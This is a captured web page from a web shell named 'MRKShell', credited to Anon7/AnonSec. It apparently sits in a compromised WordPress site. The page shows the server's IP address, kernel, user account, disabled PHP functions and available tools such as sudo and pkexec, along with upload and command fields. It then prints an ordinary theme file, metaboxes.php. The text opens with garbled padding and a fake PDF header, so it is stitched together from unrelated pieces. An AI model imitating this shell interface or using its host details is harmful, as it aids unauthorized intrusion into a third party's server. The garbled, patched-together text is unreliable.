...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/alasaweborg/public_html/wp-content/themes/greenture/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/alasaweborg/public_html/wp-content/themes/greenture/includes/metaboxes.php
<?php
/** 
 * Custom Meta Boxes and Fields for Post, Pages and other custom post types
 *
 * @package greenture
 */ 
 
class GreentureMetaboxes {
	
	public function __construct() {
		add_action('save_post', array($this, 'save_meta_boxes'));
		add_action('admin_enqueue_scripts', array($this, 'load_admin_script'), 5);
	}
	// Load Admin Scripts
	function load_admin_script() {
		$pagenow = greenture_get_global_var( 'pagenow' );
		
		if( is_admin() && $pagenow != 'themes.php' ) {
			wp_enqueue_style('admin-style', get_template_directory_uri() .'/css/admin-custom.css');
		}
		
		if( is_admin() && ($pagenow == 'post-new.php' || $pagenow == 'post.php') ) {
			
			wp_register_style('select2-style', get_template_directory_uri() . '/admin/assets/css/select2.css');
	    	wp_enqueue_style('select2-style');
						
			wp_register_script('admin-media', get_template_directory_uri().'/js/metabox.js');
	    	wp_enqueue_script('admin-media');
			
			wp_register_script('select2', get_template_directory_uri() . '/admin/assets/js/select2.js');
	    	wp_enqueue_script('select2');
			
	    	wp_enqueue_media();
			
			wp_enqueue_script('jquery-ui-core');			
			wp_enqueue_script('jquery-ui-slider');
			
			wp_enqueue_script( 'wp-color-picker' );
			wp_enqueue_style( 'wp-color-picker' );
		
		}
		
		if( is_admin() ) {
			wp_enqueue_style('admin-theme-css', get_template_directory_uri() . '/admin/assets/css/admin.css');
		}
	}
	
	
	
	
	// Save meta box fields
	public function save_meta_boxes($post_id)
	{
		if(defined( 'DOING_AUTOSAVE') && DOING_AUTOSAVE) {
			return;
		}
				
		// check permissions
		if( isset( $_POST['post_type'] ) && 'page' == $_POST['post_type'] ) {
			if( !current_user_can('edit_page', $post_id) )
			return $post_id;
		} elseif( !current_user_can('edit_post', $post_id) ) {
			return $post_id;
		}
				
		foreach($_POST as $key => $value) {
			if(strstr($key, 'greenture_')) {
				update_post_meta($post_id, $key, $value );
			}
		}
	}
	public function greenture_post_metabox()
	{
		$postfields = new GreentureMetaboxFields();
		$postfields->render_fields( $postfields->render_post_fields() );
	}
	public function greenture_page_metabox()
	{
		$pagefields = new GreentureMetaboxFields();
		$pagefields->render_fields( $pagefields->render_page_fields() );
	}	
	public function greenture_testimonial_metabox()
	{
		$testimonialfields = new GreentureMetaboxFields();
		$testimonialfields->render_fields( $testimonialfields->render_testimonial_fields() );
	}
		
	public function greenture_team_metabox()
	{
		$teamfields = new GreentureMetaboxFields();
		$teamfields->render_fields( $teamfields->render_team_fields() );
	}
	
	public function greenture_portfolio_metabox()
	{
		$portfoliofields = new GreentureMetaboxFields();
		$portfoliofields->render_fields( $portfoliofields->render_portfolio_fields() );
	}
	
	public function greenture_client_metabox()
	{
		$clientfields = new GreentureMetaboxFields();
		$clientfields->render_fields( $clientfields->render_client_fields() );
	}
	
	public function greenture_services_metabox()
	{
		$servicefields = new GreentureMetaboxFields();
		$servicefields->render_fields( $servicefields->render_service_fields() );
	}
	
	public function greenture_product_metabox()
	{
		$productfields = new GreentureMetaboxFields();
		$productfields->render_fields( $productfields->render_product_fields() );
	}
	
}
$metaboxes = new GreentureMetaboxes;

Anon7 - 2022
AnonSec Team